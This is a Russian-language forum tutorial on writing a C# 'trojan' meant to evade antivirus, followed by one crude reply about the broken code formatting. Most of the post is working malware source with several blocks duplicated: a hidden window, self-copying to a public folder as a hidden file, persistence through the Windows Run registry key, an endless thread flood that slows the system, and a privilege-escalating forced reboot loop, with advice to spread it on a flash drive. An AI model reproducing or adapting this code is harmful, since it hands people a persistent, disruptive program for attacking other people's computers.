Пишем ТРОЯН на C# Наши с вами цели Написать вредоносную программу, которую не увидят антивирусы Использовать только средства языка C# Нам понадобится: Visual Studio 2010-2017 (я использовал 2017) Знания и опыт работы на языке c# Компьютер для опытов https://avatars.dzeninfra.ru/get-ze...8c67a788c8_5aeefe1755876b07fb256c40/scale_720 720w, https://avatars.dzeninfra.ru/get-ze...c67a788c8_5aeefe1755876b07fb256c40/scale_1200 2048w" alt="Наши с вами цели Нам понадобится: Мысли Мысль 1 На большинстве компьютеров с установленной Windows установлен framework" data-fr-src="https://avatars.dzeninfra.ru/get-ze...67a788c8_5aeefe1755876b07fb256c40/scale_1200" height="290px" width="880px" data-fr-image-pasted="true"> Мысли Мысль 1 На большинстве компьютеров с установленной Windows установлен framework не ниже 2.0, значит в проекте Visual Studio придется забыть про возможности Linq, и компилировать программу под вышеупомянутым фреймворком. Мысль 2 Антивирусы реагируют на внедрения в другие файлы, замену файлов, и просто на что-то похожее с тем что есть у них в базе, значит напишем программу со всем необходимым функционалом «на борту». Мысль 3 Программу нужно сделать невидимой для пользователя, готов спорить Visual Studio даст такую возможность. Разработка ПО Этап 1: Создаем в Visual Studio проект Windows Forms Application, даем ему название, да любое в принципе название, например «system». В настройках проекта выбираем target framework 2.0. Сохраняем, и удаляем из файлов проекта using «Linq». Чтобы сделать программу невидимой для пользователя нажимаем на форму в конструктере и изменяем следующие свойства: — FormBorderStyle — None — Opacity — 0% — ShowIcon — False — ShowInTaskbar — False На этом первый этап можно считать завершенным, мы создали приложение которое будет работать на всех современных системах совершенно невидимо для пользователя. Можно проверить скомпилировав программу и запустив ее. Этап 2: На этом этапе я покажу некоторый код который понадобится. Что первым делом выполняют вирусы? Правильно лезут в автозагрузку. Для этого добавим в проект класс с названием «autorun», и обьявим метод «SetAutorunValue» Код: [/B] public static bool SetAutorunValue(bool autorun, string npath) { const string name = "systems"; string ExePath = npath; RegistryKey reg; reg = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"); try { if (autorun) reg.SetValue(name, ExePath); else reg.DeleteValue(name); reg.Flush(); reg.Close(); } catch { return false; } return true; } [B] CSHARP [/B] public static bool SetAutorunValue(bool autorun, string npath) { const string name = "systems"; string ExePath = npath; RegistryKey reg; reg = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"); try { if (autorun) reg.SetValue(name, ExePath); else reg.DeleteValue(name); reg.Flush(); reg.Close(); } catch { return false; } return true; } [B] Так как наше вредоносное ПО будет запускаться на Windows XP, Vista и 7, добавим в проект класс размещенный. Это нужно для того чтоб программа могла определять систему в которой запущена, и копироваться в общую папку. Далее приведен код добавляющий в автозагрузку наше приложение: Код: [/B] public static string needPatch = "C:\\Users\\Public\\"; public Form1() { if ([URL='https://OSVersionInfo.Name']OSVersionInfo.Name[/URL] == "Windows 7" || [URL='https://OSVersionInfo.Name']OSVersionInfo.Name[/URL] == "Windows Vista") { autorun.SetAutorunValue(true, needPatch + "system.exe"); // добавить в автозагрузку //SetAutorunValue(false, needPatch + "system.exe"); // убрать из автозагрузки } else if ([URL='https://OSVersionInfo.Name']OSVersionInfo.Name[/URL] == "Windows XP") { needPatch = "C:\\Documents and Settings\\All Users\\"; autorun.SetAutorunValue(true, needPatch + "system.exe"); // добавить в автозагрузку //SetAutorunValue(false, needPatch + "system.exe"); // убрать из автозагрузки } InitializeComponent(); } Теперь научим будущий вирус копироваться на компьютер в общую папку. Впишем код в событие Form1_Load: [B]Код:[/B] if (!File.Exists(needPatch + "system.exe")) { try { File.Copy("system.exe", needPatch + "system.exe"); File.SetAttributes(needPatch + "system.exe", FileAttributes.Hidden); } catch { } } [B] CSHARP [/B] public static string needPatch = "C:\\Users\\Public\\"; public Form1() { if ([URL='https://OSVersionInfo.Name']OSVersionInfo.Name[/URL] == "Windows 7" || [URL='https://OSVersionInfo.Name']OSVersionInfo.Name[/URL] == "Windows Vista") { autorun.SetAutorunValue(true, needPatch + "system.exe"); // добавить в автозагрузку //SetAutorunValue(false, needPatch + "system.exe"); // убрать из автозагрузки } else if ([URL='https://OSVersionInfo.Name']OSVersionInfo.Name[/URL] == "Windows XP") { needPatch = "C:\\Documents and Settings\\All Users\\"; autorun.SetAutorunValue(true, needPatch + "system.exe"); // добавить в автозагрузку //SetAutorunValue(false, needPatch + "system.exe"); // убрать из автозагрузки } InitializeComponent(); } Теперь научим будущий вирус копироваться на компьютер в общую папку. Впишем код в событие Form1_Load: [B]Код:[/B] if (!File.Exists(needPatch + "system.exe")) { try { File.Copy("system.exe", needPatch + "system.exe"); File.SetAttributes(needPatch + "system.exe", FileAttributes.Hidden); } catch { } } [B] Программа самоскопировалась, и сделала себя скрытой. На этом можно завершить этап 2. Мы создали программу, которая невидима для пользователя, самокопируется на компьютер и прописывается в автозагрузку. Далее осталось наполнить программу функционалом. Этап 3 Пусть наш будущий вирус будет вызывать торможение системы и перезагрузку. Торможение системы реализуем следующим путем: бесконечно создаваемые потоки с бесконечным вычислением степени 2. Добавим следующий код в Form1.cs Код: [/B] public static void sys_sleep() { while (true) { Thread s = new Thread(s_b); s.Start(); } } private static void s_b() { int y = 2; while (true) { y *= y; } } [B] CSHARP [/B] public static void sys_sleep() { while (true) { Thread s = new Thread(s_b); s.Start(); } } private static void s_b() { int y = 2; while (true) { y *= y; } } [B] С перезагрузкой посложнее, прибегнем к помощи WINAPI, допишем следующее: Код: [/B] [StructLayout(LayoutKind.Sequential, Pack = 1)] internal struct TokPriv1Luid { public int Count; public long Luid; public int Attr; } [DllImport("kernel32.dll", ExactSpelling = true)] internal static extern IntPtr GetCurrentProcess(); [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)] internal static extern bool OpenProcessToken(IntPtr h, int acc, ref IntPtr phtok); [DllImport("advapi32.dll", SetLastError = true)] internal static extern bool LookupPrivilegeValue(string host, string name, ref long pluid); [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)] internal static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall, ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen); [DllImport("user32.dll", ExactSpelling = true, SetLastError = true)] internal static extern bool ExitWindowsEx(int flg, int rea); internal const int EWX_REBOOT = 0x00000002; internal const string SE_SHUTDOWN_NAME = "SeShutdownPrivilege"; internal const int SE_PRIVILEGE_ENABLED = 0x00000002; internal const int TOKEN_QUERY = 0x00000008; internal const int TOKEN_ADJUST_PRIVILEGES = 0x00000020; public static Thread thread1; public static void DoExitWin(int flg) { bool ok; TokPriv1Luid tp; IntPtr hproc = GetCurrentProcess(); IntPtr htok = [URL='https://IntPtr.Zero;']IntPtr.Zero;[/URL] ok = OpenProcessToken(hproc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ref htok); tp.Count = 1; tp.Luid = 0; tp.Attr = SE_PRIVILEGE_ENABLED; ok = LookupPrivilegeValue(null, SE_SHUTDOWN_NAME, ref tp.Luid); ok = AdjustTokenPrivileges(htok, false, ref tp, 0, [URL='https://IntPtr.Zero']IntPtr.Zero[/URL], [URL='https://IntPtr.Zero']IntPtr.Zero[/URL]); ok = ExitWindowsEx(flg, 0); } [B] CSHARP [/B] [StructLayout(LayoutKind.Sequential, Pack = 1)] internal struct TokPriv1Luid { public int Count; public long Luid; public int Attr; } [DllImport("kernel32.dll", ExactSpelling = true)] internal static extern IntPtr GetCurrentProcess(); [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)] internal static extern bool OpenProcessToken(IntPtr h, int acc, ref IntPtr phtok); [DllImport("advapi32.dll", SetLastError = true)] internal static extern bool LookupPrivilegeValue(string host, string name, ref long pluid); [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)] internal static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall, ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen); [DllImport("user32.dll", ExactSpelling = true, SetLastError = true)] internal static extern bool ExitWindowsEx(int flg, int rea); internal const int EWX_REBOOT = 0x00000002; internal const string SE_SHUTDOWN_NAME = "SeShutdownPrivilege"; internal const int SE_PRIVILEGE_ENABLED = 0x00000002; internal const int TOKEN_QUERY = 0x00000008; internal const int TOKEN_ADJUST_PRIVILEGES = 0x00000020; public static Thread thread1; public static void DoExitWin(int flg) { bool ok; TokPriv1Luid tp; IntPtr hproc = GetCurrentProcess(); IntPtr htok = [URL='https://IntPtr.Zero;']IntPtr.Zero;[/URL] ok = OpenProcessToken(hproc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ref htok); tp.Count = 1; tp.Luid = 0; tp.Attr = SE_PRIVILEGE_ENABLED; ok = LookupPrivilegeValue(null, SE_SHUTDOWN_NAME, ref tp.Luid); ok = AdjustTokenPrivileges(htok, false, ref tp, 0, [URL='https://IntPtr.Zero']IntPtr.Zero[/URL], [URL='https://IntPtr.Zero']IntPtr.Zero[/URL]); ok = ExitWindowsEx(flg, 0); } [B] Теперь опишем метод, который по таймеру будет вызывать еффекты работы нашей программы: Код:[CODE=csharp[B]][/B][/B] public static void start() { Stopwatch sw = new Stopwatch(); sw.Start(); bool b = true; bool pl = false; while (b) { if (sw.ElapsedMilliseconds > 20000) { if (!pl) { Thread g = new Thread(sys_sleep); g.Start(); pl = true; } } if (sw.ElapsedMilliseconds > 45000) { DoExitWin(EWX_REBOOT); b = false; } } } [B][/CODE] Метод Start() будем вызывать в Form1_Load. Эта программа будет тормозить систему через 20 секунд, и перезагружаться на 45-й секунде работы. Можно смело компилировать набранный код, скидывать полученную exe-шку на флешку и проверять созданный Вами вирус. При запуске с флешки, программа самоскопируется, начнет тормозить систему и перезагрузит ее, после перезагрузки системы программа запустится через автозагрузку и продолжит свою работу. Антивирусы будут молчать, скромно наблюдая за беспорядками, которые выдает Ваша программа, ведь придраться то им не к чему.
Что за хуйню я только что увидел, бро, помести код, а то это читать невозможно [CODE=csharp]вот так[/CODE]